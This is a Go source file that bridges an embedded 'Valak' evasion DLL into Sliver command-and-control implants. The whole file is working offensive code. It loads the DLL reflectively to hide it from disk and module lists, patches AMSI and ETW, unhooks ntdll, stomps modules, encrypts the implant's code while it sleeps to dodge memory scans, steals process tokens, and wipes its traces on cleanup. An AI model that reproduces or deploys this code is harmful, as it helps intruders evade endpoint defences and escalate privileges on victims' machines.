//go:build evasion && windows // Go bridge for Valak evasion DLL. Reflectively loads the embedded DLL, // resolves exports, provides Go API for Sliver implant integration. package valak import ( "encoding/binary" "fmt" "syscall" "time" "unsafe" "golang.org/x/sys/windows" ) var ( dllBase uintptr dllLoaded bool procInit uintptr procSleep uintptr procPatchETW uintptr procPatchAMSI uintptr procUnhookNtdll uintptr procStomp uintptr procIsRelocated uintptr procInitText uintptr procUnpatchAMSI uintptr procUnpatchETW uintptr procWipeMemory uintptr procStealToken uintptr procRev2self uintptr valakSize uintptr ) const ( memCommit = 0x00001000 memReserve = 0x00002000 pageReadwrite = 0x04 pageExecuteRead = 0x20 pageExecReadwrite = 0x40 dllProcessAttach = 1 imageDosSignature = 0x5A4D imageNTSignature = 0x00004550 ) type imageDOSHeader struct { E_magic uint16 _ [58]byte E_lfanew uint32 } type imageFileHeader struct { _ [2]byte NumberOfSections uint16 _ [12]byte SizeOfOptionalHeader uint16 _ [2]byte } type imageDataDirectory struct { VirtualAddress uint32 Size uint32 } type imageOptionalHeader64 struct { _ [16]byte AddressOfEntryPoint uint32 BaseOfCode uint32 ImageBase uint64 SectionAlignment uint32 FileAlignment uint32 _ [16]byte SizeOfImage uint32 SizeOfHeaders uint32 _ [48]byte DataDirectory [16]imageDataDirectory } type imageNTHeaders64 struct { Signature uint32 FileHeader imageFileHeader OptionalHeader imageOptionalHeader64 } type imageSectionHeader struct { Name [8]byte VirtualSize uint32 VirtualAddress uint32 SizeOfRawData uint32 PointerToRawData uint32 PointerToRelocations uint32 PointerToLinenumbers uint32 NumberOfRelocations uint16 NumberOfLinenumbers uint16 Characteristics uint32 } type imageExportDirectory struct { _ [12]byte _ [4]byte _ [4]byte NumberOfFunctions uint32 NumberOfNames uint32 AddressOfFunctions uint32 AddressOfNames uint32 AddressOfNameOrdinals uint32 } // loadDLL reflectively loads the embedded valak.dll. No file on disk, no // LoadLibrary callback, no PEB module list entry. func loadDLL() error { data := embeddedDLL if len(data) == 0 { return fmt.Errorf("no embedded DLL") } dosHeader := (*imageDOSHeader)(unsafe.Pointer(&data[0])) if dosHeader.E_magic != imageDosSignature { return fmt.Errorf("invalid DOS header") } ntOffset := dosHeader.E_lfanew ntHeader := (*imageNTHeaders64)(unsafe.Pointer(&data[ntOffset])) if ntHeader.Signature != imageNTSignature { return fmt.Errorf("invalid NT header") } imageBase := ntHeader.OptionalHeader.ImageBase sizeOfImage := uintptr(ntHeader.OptionalHeader.SizeOfImage) sizeOfHeaders := uintptr(ntHeader.OptionalHeader.SizeOfHeaders) base, err := windows.VirtualAlloc(0, sizeOfImage, memReserve|memCommit, pageReadwrite) if err != nil { return fmt.Errorf("VirtualAlloc: %w", err) } dllBase = base valakSize = sizeOfImage copy(unsafe.Slice((*byte)(unsafe.Pointer(base)), sizeOfHeaders), data[:sizeOfHeaders]) sectionOffset := ntOffset + 4 + 20 + uint32(ntHeader.FileHeader.SizeOfOptionalHeader) sections := unsafe.Slice((*imageSectionHeader)(unsafe.Pointer(&data[sectionOffset])), ntHeader.FileHeader.NumberOfSections) for i := range sections { sec := §ions[i] if sec.SizeOfRawData == 0 { continue } dst := base + uintptr(sec.VirtualAddress) if dst < base || dst+uintptr(sec.SizeOfRawData) > base+sizeOfImage { continue } srcOff := uintptr(sec.PointerToRawData) if srcOff+uintptr(sec.SizeOfRawData) > uintptr(len(data)) { continue } copy( unsafe.Slice((*byte)(unsafe.Pointer(dst)), sec.SizeOfRawData), unsafe.Slice((*byte)(unsafe.Pointer(&data[sec.PointerToRawData])), sec.SizeOfRawData), ) } delta := int64(base) - int64(imageBase) if delta != 0 { applyRelocations(data, base, delta, ntHeader) } resolveImports(data, base, ntHeader) for i := range sections { sec := §ions[i] if sec.VirtualAddress == 0 { continue } addr := base + uintptr(sec.VirtualAddress) prot := sectionProtect(sec.Characteristics) var old uint32 windows.VirtualProtect(addr, uintptr(sec.VirtualSize), prot, &old) } resolveExports(data, base, ntHeader) entry := base + uintptr(ntHeader.OptionalHeader.AddressOfEntryPoint) if entry != base { syscall.SyscallN(uintptr(entry), base, uintptr(dllProcessAttach), 0) } if procInit != 0 { syscall.SyscallN(procInit) } dllLoaded = true return nil } func sectionProtect(chars uint32) uint32 { switch { case chars&0x20000000 != 0 && chars&0x80000000 != 0: return pageExecReadwrite case chars&0x20000000 != 0: return pageExecuteRead default: return pageReadwrite } } func applyRelocations(_ []byte, base uintptr, delta int64, ntHeader *imageNTHeaders64) { relocDir := ntHeader.OptionalHeader.DataDirectory[5] if relocDir.VirtualAddress == 0 || relocDir.Size == 0 { return } relocData := unsafe.Slice((*byte)(unsafe.Pointer(base+uintptr(relocDir.VirtualAddress))), relocDir.Size) off := uintptr(0) for off < uintptr(relocDir.Size) { blockVA := binary.LittleEndian.Uint32(relocData[off:]) blockSize := binary.LittleEndian.Uint32(relocData[off+4:]) if blockSize == 0 { break } entries := (blockSize - 8) / 2 for e := uint32(0); e < entries; e++ { entryOff := off + 8 + uintptr(e*2) entry := binary.LittleEndian.Uint16(relocData[entryOff:]) relocType := entry >> 12 relocOff := entry & 0xFFF if relocType == 0 { continue } addr := unsafe.Pointer(base + uintptr(blockVA) + uintptr(relocOff)) if relocType == 10 { val := (*uint64)(addr) *val = uint64(int64(*val) + delta) } } off += uintptr(blockSize) } } func resolveExports(_ []byte, base uintptr, ntHeader *imageNTHeaders64) { exportDir := ntHeader.OptionalHeader.DataDirectory[0] if exportDir.VirtualAddress == 0 || exportDir.Size == 0 { return } exp := (*imageExportDirectory)(unsafe.Pointer(base + uintptr(exportDir.VirtualAddress))) names := unsafe.Slice((*uint32)(unsafe.Pointer(base+uintptr(exp.AddressOfNames))), exp.NumberOfNames) funcs := unsafe.Slice((*uint32)(unsafe.Pointer(base+uintptr(exp.AddressOfFunctions))), exp.NumberOfFunctions) ords := unsafe.Slice((*uint16)(unsafe.Pointer(base+uintptr(exp.AddressOfNameOrdinals))), exp.NumberOfNames) lookup := func(name string) uintptr { for i := uint32(0); i < exp.NumberOfNames; i++ { fnName := goString(base + uintptr(names[i])) if fnName == name { if uint32(ords[i]) < exp.NumberOfFunctions { return base + uintptr(funcs[ords[i]]) } } } return 0 } procInit = lookup("init_evasion") procSleep = lookup("evasion_sleep") procPatchETW = lookup("patch_etw") procPatchAMSI = lookup("patch_amsi") procUnhookNtdll = lookup("unhook_ntdll") procStomp = lookup("stomp_evasion") procIsRelocated = lookup("is_relocated") procInitText = lookup("init_text_region") procUnpatchAMSI = lookup("unpatch_amsi") procUnpatchETW = lookup("unpatch_etw") procWipeMemory = lookup("wipe_memory") procStealToken = lookup("steal_token") procRev2self = lookup("rev2self") } type imageImportDescriptor struct { OriginalFirstThunk uint32 _ uint32 _ uint32 Name uint32 FirstThunk uint32 } func resolveImports(_ []byte, base uintptr, ntHeader *imageNTHeaders64) { importDir := ntHeader.OptionalHeader.DataDirectory[1] if importDir.VirtualAddress == 0 || importDir.Size == 0 { return } modKernel32 := windows.NewLazySystemDLL("kernel32.dll") procLoadLibrary := modKernel32.NewProc("LoadLibraryA") procGetModuleHandleA := modKernel32.NewProc("GetModuleHandleA") procGetProcAddress := modKernel32.NewProc("GetProcAddress") desc := (*imageImportDescriptor)(unsafe.Pointer(base + uintptr(importDir.VirtualAddress))) descSize := uintptr(unsafe.Sizeof(*desc)) for desc.Name != 0 { dllName := goString(base + uintptr(desc.Name)) hMod, _, _ := procGetModuleHandleA.Call(uintptr(unsafe.Pointer(unsafe.StringData(dllName)))) if hMod == 0 { hMod, _, _ = procLoadLibrary.Call(uintptr(unsafe.Pointer(unsafe.StringData(dllName)))) } if hMod == 0 { desc = (*imageImportDescriptor)(unsafe.Pointer(uintptr(unsafe.Pointer(desc)) + descSize)) continue } thunkRVA := desc.OriginalFirstThunk if thunkRVA == 0 { thunkRVA = desc.FirstThunk } thunk := (*uint64)(unsafe.Pointer(base + uintptr(thunkRVA))) iat := (*uint64)(unsafe.Pointer(base + uintptr(desc.FirstThunk))) step := uintptr(8) for *thunk != 0 { var fnAddr uintptr if *thunk&(1<<63) != 0 { ordinal := uintptr(*thunk & 0xFFFF) fnAddr, _, _ = procGetProcAddress.Call(hMod, ordinal) } else { nameRVA := uint32(*thunk & 0x7FFFFFFF) fnName := goString(base + uintptr(nameRVA) + 2) fnAddr, _, _ = procGetProcAddress.Call(hMod, uintptr(unsafe.Pointer(unsafe.StringData(fnName)))) } *iat = uint64(fnAddr) thunk = (*uint64)(unsafe.Pointer(uintptr(unsafe.Pointer(thunk)) + step)) iat = (*uint64)(unsafe.Pointer(uintptr(unsafe.Pointer(iat)) + step)) } desc = (*imageImportDescriptor)(unsafe.Pointer(uintptr(unsafe.Pointer(desc)) + descSize)) } } // goString reads a null-terminated ASCII string from the DLL's mapped memory. // Reads one byte at a time to avoid page-boundary overread. func goString(addr uintptr) string { var b [256]byte for i := range b { c := *(*byte)(unsafe.Pointer(addr + uintptr(i))) if c == 0 { return string(b[:i]) } b[i] = c } return string(b[:]) } // ---- Public API ---- // Start loads the DLL and patches AMSI/ETW. Call once at implant init. func Start() { go loadDLL() } // EvasionSleep replaces time.Sleep with ChaCha20-encrypted sleep and synthetic callstack frames. func EvasionSleep(d time.Duration) { ms := uint32(d.Milliseconds()) if dllLoaded && procSleep != 0 { syscall.SyscallN(procSleep, uintptr(ms)) return } time.Sleep(d) // fallback } // InitText tells the DLL where our Go implant's .text lives for encrypted sleep. func InitText() { if dllLoaded && procInitText != 0 { if base, size := findOwnTextSection(); size > 0 { syscall.SyscallN(procInitText, base, size) } } } // PatchAll runs the full evasion init: stomp, unhook, ETW, AMSI. // Call after the DLL finishes loading. func PatchAll() { if !dllLoaded { return } if procStomp != 0 { syscall.SyscallN(procStomp, dllBase) if procIsRelocated != 0 { _, _, _ = syscall.SyscallN(procIsRelocated) } } if procUnhookNtdll != 0 { syscall.SyscallN(procUnhookNtdll) } if procPatchETW != 0 { syscall.SyscallN(procPatchETW) } if procPatchAMSI != 0 { syscall.SyscallN(procPatchAMSI) } InitText() } // Bootstrap loads the DLL, patches evasion, inits text encryption, and does // an immediate encrypted sleep to clear the post-load memory scan window. // Blocks until DLL is ready or 10s timeout. Call once at Sliver implant start. func Bootstrap() { go loadDLL() for i := 0; i < 100; i++ { if dllLoaded { break } time.Sleep(100 * time.Millisecond) } if !dllLoaded { return } PatchAll() // encrypt .text immediately to clear post-load scan window // Without this, the implant's .text is unencrypted for the first beacon interval. if procSleep != 0 { syscall.SyscallN(procSleep, uintptr(2000)) } } func StealToken(pid uint32) bool { if procStealToken == 0 { return false } r, _, _ := syscall.SyscallN(procStealToken, uintptr(pid)) return r != 0 } func Rev2self() bool { if procRev2self == 0 { return false } r, _, _ := syscall.SyscallN(procRev2self) return r != 0 } // Cleanup undoes patches and zeros DLL memory. func Cleanup() { if !dllLoaded { return } if procUnpatchAMSI != 0 { syscall.SyscallN(procUnpatchAMSI) } if procUnpatchETW != 0 { syscall.SyscallN(procUnpatchETW) } if procWipeMemory != 0 && dllBase != 0 { syscall.SyscallN(procWipeMemory, dllBase, valakSize) } } // findOwnTextSection walks the main executable's PE headers to find .text bounds. func findOwnTextSection() (uintptr, uintptr) { procGMH := windows.NewLazySystemDLL("kernel32.dll").NewProc("GetModuleHandleW") base, _, _ := procGMH.Call(0) if base == 0 { return 0, 0 } dos := (*imageDOSHeader)(unsafe.Pointer(base)) if dos.E_magic != imageDosSignature { return 0, 0 } nt := (*imageNTHeaders64)(unsafe.Pointer(base + uintptr(dos.E_lfanew))) if nt.Signature != imageNTSignature { return 0, 0 } sectionOffset := dos.E_lfanew + 4 + 20 + uint32(nt.FileHeader.SizeOfOptionalHeader) for i := uint16(0); i < nt.FileHeader.NumberOfSections; i++ { sec := (*imageSectionHeader)(unsafe.Pointer(base + uintptr(sectionOffset) + uintptr(i)*40)) if sec.Name[0] == '.' && sec.Name[1] == 't' && sec.Name[2] == 'e' && sec.Name[3] == 'x' && sec.Name[4] == 't' && sec.Name[5] == 0 { return base + uintptr(sec.VirtualAddress), uintptr(sec.VirtualSize) } } return 0, 0 }